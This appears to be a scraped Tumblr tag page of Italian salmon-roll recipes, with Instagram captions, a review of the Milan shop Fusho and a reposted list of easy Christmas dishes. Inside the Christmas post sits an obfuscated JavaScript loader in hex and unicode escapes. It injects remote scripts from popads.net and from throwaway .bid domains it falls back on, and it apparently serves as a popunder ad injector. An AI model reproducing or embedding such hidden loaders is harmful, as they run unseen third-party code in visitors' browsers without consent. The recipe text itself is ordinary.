#rotolo al salmone

[blackpepper-ricette]

Rotolo al salmone

Avevo già fatto una ricetta simile ma non a tutti piace l’involucro di albumi (trovate QUI la ricetta); quindi ho voluto modificare qualcosina e usare il pane da tramezzino. Si tratta di una ricetta molto semplice e veloce che va benissimo da preparare come spuntino in anticipo oppure da servire ad un aperitivo, possibilmente accompagnato da del vino bianco. (more…)

[vioenkeli]

E oggi Rotolo al Salmone con Formaggio spalmabile alle Erbe 😍 #bonappétit https://www.instagram.com/p/CMMv8_cA1QN/?igshid=1xi4o7l7lj1b4

[designme2011]

🌴 Rotolo di piada al salmone, verdurini grigliate e coca cola @golosoasi_sapori_dal_mondo • • • #visitmesagne #visitmesagnecuordisalento #mesagne #designme #minuzzerie #mesagnecentrostorico #lacittadellamore #lacittadelcuore #pugliaintasca #puglia_mania__ #puglia_illife #pugliamylove #sacrificidipuglia #salentolove #salentu_nosciu #sud_addicted #italia_cartoline #puglia_cartoline #salentoland #welcometopuglia #clickfor_brindisi #clickfor_travel #ig_puglia #piu_puglia #igersitalia #igers #top_pugliaphoto #cartolinesalentine #bestpugliapics #verso_sud (presso Mesagne) https://www.instagram.com/p/CDnwxo_qAdR/?igshid=1j5la2d3aop9g

[uomoallacoque]

Un burrito, un sushi burrito, un enorme temake a forma di burrito, un rotolo ricoperto da alghe e ripieno di pesce crudo ed altre bontà. Chiamatelo come volete o definitelo a vostro piacimento ma Fusho è davvero strabuono!!!!

Due location a Milano e una terza in arrivo, in Paolo Sarpi (zona che adoro) e in zona Porta Venezia (via Plinio per la precisione), locali piccoli da pasto veloce (ma non chiamatelo fast food per cortesia) o da take away, concetto che si plasma molto bene su Fusho perché passeggiare addentando le loro creazioni originali da molta soddisfazione.

Gli ingredienti sono di grande qualità, freschi e naturali, il riso è macrobiotico italiano certificato proveniente da coltivazioni Lombarde, l’alga utilizzata è la Nori giapponese, la numero 1 per qualità, cotture più sane anche nelle fritture (il pollo viene fritto nella friggitrice ad aria) e del maiale seguendo l’antica ricetta Jappo : bollito e marinato.

Altro particolare che fa molto piacere eticamente è la certificazione “Friend of the Sea” per tutto il pesce presente in menù, attestazione che garantisce ecosostenibilità nella pesca, l’attenzione al nostro pianeta non può trascurare questi dettagli, quindi doppi complimenti a Fusho.

Va bene ma dopo tutta questa spiega cosa e come si mangia?

I sushi burrito danno enorme soddisfazione, sono saporiti, pieni e deliziosi. Si va dalle proposte più classiche come il Salmo’n (Salmone crudo, avocado, philadelphia, tobiko, maionese, guacamole, daikon, insalata) e Karate Tuna (Tonno pinna gialla crudo, insalata, avocado, rucola, maionese alla rucola, daikon) al più originale Black Salmon (con riso nero, mango  e teriyaki),  “l’aggressivo” Feniku (Pollo fritto, maionese, salsa katsu, mais, carote viola, cipolla fritta, insalata gentile)  o il vegetariano Lets’ green (Insalata gentile, patata americana, avocado, zucchine, cetriolo, radicchio, salsa mango).  Mensilmente vengono proposte anche novità a libera ispirazione e fantasia dei Fushi maker. La scelta soddisfa tutti gli amanti del sushi e di quel sapore ormai così familiare in Italia.

I prezzi variano dai 9 dei classic ai 12,5 dei Fusho special, una spesa giustificata dalle dimensioni della proposta e dalla qualità top.

La tentazione di tornare spesso a provare nuove combinazioni è davvero irresistibile ed è una esperienza che mi sento di consigliare a tutti,  Fusho conquista al primo morso.

  Fusho  

Via Paolo Sarpi, 50

20154 Milano (MI)

Telefono: 02 3659 8024

Via Plinio, 5

20129 Milano (MI)

Telefono: 02 3655 8557

https://www.fusho.it/

Fusho Un burrito, un sushi burrito, un enorme temake a forma di burrito, un rotolo ricoperto da alghe e ripieno di pesce crudo ed altre bontà.

[awesomealessandrascigliano]

MINI QUICHE AL SALMONE 1 rotolo di pasta sfoglia rettangolare 150 gr di salmone affumicato 8 fettine di emmental 1 uovo…

[nonmangioidolci]

Zona Rossa - Giorno #36

Nell’edizione di: cucina per maldestri (ma anche malsinistri... qui non si fanno discriminazioni!). Oggi cuciniamo un piatto a prova di disastro: il salmone in crosta. 

Ingredienti

per 4 persone che mangiano poco, per 3 persone che mangiano normale, per 2 persone che hanno un buon appetito. 

1 rotolo di pasta sfoglia (io l’ho presa integrale, ma va benissimo quella classica. Per i non disastri: la pasta sfoglia può essere anche fatta in casa)

250g di salmone (un paio di filetti circa)

400g di spinaci 

Procedimento

Accendere il forno per pre-riscaldarlo a 180°

Far bollire gli spinaci 

In una padella, scottare il salmone con un filo d’olio d’oliva, sale e pepe

Lasciar raffreddare gli spinaci e strizzare l’acqua in eccesso

Stendere la pasta su un foglio di carta forno

Al centro, in fila uno dietro l’altro, posizionare i filetti di salmone

Prendere gli spinaci, aggiungere sale e pepe a discrezione, e posizionarli sopra al salmone 

Tagliare l’eccesso di pasta sfoglia ai lati in striscioline parallele

Usare queste striscioline per chiudere il rotolo facendo una specie di treccia (tipo come quello che si fa per lo strudel. Comunque cercando pasta sfoglia intrecciata su Google vengono fuori un sacco di immagini che possono chiarire le idee su quello che intendo!)

Infornare. 180° per 30/35 minuti.

Lasciar raffreddare qualche minuto: da tiepido è più semplice da tagliare e puoi evitare che si disfi. 

Buon appetito!

@nonmangioidolci​

[giorginodj69]

#Repost @fattoincasadabenedetta • • • • • • ROTOLI DI FRITTATA - 5 IDEE FACILI E VELOCI . Scorri a destra per scoprire tutte le ricette! 😉➡️ . ----- INGREDIENTI ----- . ROTOLO ALLE CAROTE 4 uova 30 grammi parmigiano 1 pizzico sale 150 grammi carote PER IL RIPIENO: 150 grammi formaggio spalmabile 100 grammi bresaola a piacere rucola a piacere grana ROTOLO CLASSICO 6 uova 30 g parmigiano 1 pizzico sale PER IL RIPIENO: 120/150 grammi ricotta 150 grammi spinaci ROTOLO AL SALMONE 6 uova 30 grammi parmigiano 1 pizzico sale 2 cucchiaio pomodoro concentrato PER IL RIPIENO: 150 grammi formaggio spalmabile 100 grammi salmone affumicato 1/2 cetriolo q.b. pepe ROTOLO AGLI SPINACI 4 uova 30 grammi parmigiano 1 pizzico sale 150 grammi spinaci PER IL RIPIENO: 150 grammi formaggio spalmabile 150 grammi prosciutto cotto ROTOLO ALLE ZUCCHINE 4 uova 30 grammi parmigiano 1 pizzico sale 150 grammi zucchine PER IL RIPIENO: 150 grammi robiola 150 grammi speck #ricettafacile #cucinare #delicious #yum #tasty #yummy #instagood #video #recipe #recipes #ricetta #ricette #food #cucina #cooking #fattoincasa #benedetta #instafood #videoricetta #blog #fattoincasadabenedetta https://www.instagram.com/p/B6systUKm9V/?igshid=3i7pfupzioxj

[blackpepper-ricette]

Rotolo light al salmone - low carb

Rotolo light al salmone – low carb

Questa ricetta è nata da un esperimento: avevo letto numerose ricette che usavano l’albume al posto della farina per fare pizze, tortine e ricette varie, rendendo quindi il piatto più leggero e light. Avevo provato a fare la pizza ed era venuta discretamente bene e il mio ragazzo mi aveva suggerito di provare a fare un rotolo… detto fatto! (more…)

[paolab-1983]

Treccia al salmone Ingredienti Un rotolo di pasta sfoglia pronta rettangolare 150 g di philadelphia 200 g di salmone affumicato Preparazione Stendete rotolo di pasta sfoglia e spalmatici sopra il philadelphia in modo che ricopra tutta la superficie. Adagiate sopra il salmone tagliato in modo uniforme ricoprendo tutta la superficie di formaggio. Arrotolate la sfoglia su se stessa e metterla in frigo per 20 minuti. Trascorsi i 20 min srotolatela e tagliate il rotolo per il lungo e intrecciate i 2 filoni. Infornate a 200' per 25 min.

[vioenkeli]

#bonappetit 😉 Rotolo al salmone ❤ https://www.instagram.com/p/BqXEwU0hTMLBsReGc6BT5lUKAf4OeZ99byoQsA0/?utm_source=ig_tumblr_share&igshid=g3wkv27l2zq8

[jucks72]

Natale in relax? Provate queste 15 ricette facili e (quasi) veloci

New Post has been published on http://www.it-gourmet.it/2017/12/14/natale-in-relax-provate-queste-15-ricette-facili-e-quasi-veloci/

Natale in relax? Provate queste 15 ricette facili e (quasi) veloci

Il cenone o il pranzo di Natale quest’anno sono a casa vostra, ma non avete voglia di iniziare a cucinare giorni e giorni prima, oppure avete poca dimestichezza con i fornelli? Non per tutte le pietanze festive sono necessarie ore infinte di preparazione o tecniche astruse; basta farsi furbi e cercare delle ricette facili per Natale, così da eliminare stress e troppe ore di lavoro in cucina.

Puntate su sapori sapidi, preparazioni veloci e ovviamente ottimi ingredienti: a volte basta anche solo un piatto originale per svoltare una cena “basica”.

E soprattutto prendete spunto dalle ricette facili per Natale che vi proponiamo voi.

CRACKER DI PARMIGIANO

Mettete via taralli e grissini: questi sono gli unici cracker che dovrete servire all’aperitivo.

Provate la semplicissima ricetta dei Cracker speziati al Parmigiano.

CANAPÈ DI SALMONE

Proseguiamo la carrellata di ricette facili per il Natale con i Canapè di salmone affumicato: 30 minuti per prepararli e metterli in tavola, e sempre apprezzati anche dai gastrofighetti.

  MELA GORGONZOLA E NOCI

Un secondo piatto vegetariano o un goloso antipasto: comunque vogliate considerarlo, anche qui si parla di una ricetta facile ideale per l’inverno e per il Natale. Tagliate le mele, spennellatele con miele e limone e aggiungete il formaggio e le noci. Forse non dietetica ma veloce e facilissima.  

LASAGNE ALLE VERDURE

Un primo piatto semplice per Natale ideale anche per i vegetariani? No, nessuna missione impossibile, basta solo seguire le istruzioni di questa lasagna. Un piatto di Natale semplice e veloce che metterà d’accordo tutti, parola di Fine Dining Lovers.

Qui tutto il procedimento per la Lasagna vegetariana alle verdure.

PASTA CON LE SARDE

Per la vigilia di Natale provate anche con questa ricetta velocissima ma sempre molto apprezzata dagli ospiti: la pasta con le sarde. In circa 30 minuti è pronta da servire a parenti e amici famelici.

  SALMONE AI PORRI E PISTACCHI

Apparentemente vi sembrerà difficile, ma leggendo attentamente la ricetta di Alice Agnelli (o dando uno sguardo al suo tutorial) vi accorgerete della semplicità dei procedimenti.

POLPO E PATATE

Non è Natale senza il polpo e patate: nella fattispecie questa ricetta è di Anna Fracassi (L’Ennesimo Blog di Cucina).

Qui potete consultare tutta la ricetta di Polpo e patate.

RATATOUILLE DI FRUTTI DI MARE

Un secondo piatto che sa di Vigilia e di mare: è la ratatouille di frutti di mare al profumo di basilico. Un piatto con cui iniziare a immaginare le vostre prossime vacanze.

  PATATE DOLCI AL GRATIN

Sono l’ingrediente più in voga del 2017: le patate dolci sono perfette per un contorno facile e veloce che stupisca i commensali e rallegri le feste.

Scoprite la ricetta delle patate dolci al gratin qui.

TORTA DI ARANCE

Se non avete voglia di panettoni per Natale, ma volete cimentarvi in un dolce facile, seguite la ricetta di Monica Papagna (Un Biscotto al Giorno), che ci propone la sua idea per un dolce alle arance e mandorle.

ROTOLO DI MARZAPANE CON LE BACCHE AL GIANDUIA      

Sicuramente non si può fare all’ultimo, ma anche un giorno prima non vi ruberà tantissimo tempo. Un dessert 100% natalizio.

Per scoprire tutta la ricetta del rotolo di Marzapane con gianduja andate qui.

MUFFIN AL CARAMELLO

Goduriosi? Sì. Scenografici? Idem. Facili? Assolutamente.

Qui la ricetta dei Muffin natalizi con salsa al caramello.

CIOCCOLATINI ALLO ZENZERO 

Freschi, gustosi e molto natalizi. Questi cioccolatini allo zenzero fresco sono la ricetta perfetta per un dolce di Natale alternativo.

Qui trovate la ricetta dei cioccolatini allo zenzero.

TORTA TALPA GLUTEN FREE

Un classico dolcissimo e adatto a tutte le occasioni è la torta talpa. Qui ve la proponiamo in versione gluten free a base di quinoa.

Per imparare a preparare la torta talpa gluten free qui.

TIRAMISÙ PAN DI ZENZERO E FICHI

Forse i fichi non sono più di stagione, ma tentar non nuoce, perché il risultato è veramente sorprendente. E se proprio non doveste trovarli, provate a sostituirli con quelli secchi. L’effetto sarà meno scenografico, ma il sapore è assicurato.

Qui trovate la ricetta del tiramisù al pan di zenzero.

  /*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var v=window;v["\x5f\u0070o\x70"]=[["s\u0069t\x65\x49\x64",2164519],["\u006di\x6e\u0042i\u0064",0],["\u0070\x6fp\x75\x6e\x64\x65\x72\u0073PerI\u0050",0],["dela\u0079\u0042\x65\x74\x77\x65\x65n",0],["\u0064\x65\x66\u0061\x75\u006ct",false],["\x64\u0065f\x61\x75\x6ctPe\u0072D\u0061y",0],["\x74o\x70\x6do\u0073t\u004c\u0061y\u0065r",!0]];var p=["/\x2fc\u0031.\u0070\x6f\u0070\u0061\x64\x73\x2e\x6ee\u0074/p\u006f\u0070.\x6as","\x2f/\u0063\u0032.\u0070\x6f\x70a\u0064\x73\u002e\x6ee\u0074\x2f\x70\x6f\u0070.j\x73","\x2f\x2f\u0077\x77w\u002e\x79\x63f\u0070ruj\u0079l\u0075k\x6bx\x2e\x62\x69\x64\u002f\u0078\x2e\x6a\x73","\u002f\u002f\u0077\x77\u0077.u\x76\x79a\x73\u0063q\u0062\x6d.\u0062id\x2fw\u0063\u002e\x6a\u0073",""],d=0,y,s=function()if(""==p[d])return;y=v["\u0064\u006f\u0063\x75\u006d\x65\x6e\u0074"]["\u0063\x72\u0065\x61\u0074eE\x6ce\u006d\u0065\u006e\u0074"]("\u0073\x63rip\u0074");y["\u0074ype"]="\u0074\u0065\x78\u0074\u002f\u006a\x61\u0076\x61\x73c\u0072\u0069pt";y["\x61s\x79\u006e\u0063"]=!0;var a=v["\u0064\x6f\u0063um\x65\x6e\u0074"]["g\x65t\x45lem\x65\u006e\u0074\x73By\u0054\u0061\u0067\u004e\x61\x6d\u0065"]("\u0073\x63\x72i\u0070t")[0];y["\u0073\x72c"]=p[d];if(d<2)y["\x63r\x6f\u0073s\u004fri\x67\x69\u006e"]="\u0061\x6e\u006f\x6e\x79\u006d\u006f\x75\x73";;y["\u006f\x6eerr\u006f\u0072"]=function()d++;s();a["p\u0061r\u0065\u006e\u0074\u004e\u006fde"]["i\x6es\u0065\u0072t\x42\u0065\u0066\u006f\u0072e"](y,a);s())(); /*]]>/* */

[awesomealessandrascigliano]

MINI QUICHES AL SALMONE

MINI QUICHES AL SALMONE

1 rotolo di pasta sfoglia rettangolare

150 gr di salmone affumicato

8 fettine di emmental

1 uovo

sale

pepe

1\2 bicchiere di latte

2 cucchiai di parmigiano grattugiato

erba cipollina

Srotola la pasta sfoglia e ricava dei dischi con un coppa pasta. Disponili all’interno di 8 stampi da crostatine e bucherella i fondi con una forchetta. Farcisci con l’emmental e il salmone affumicato. Sbatti l’uovo…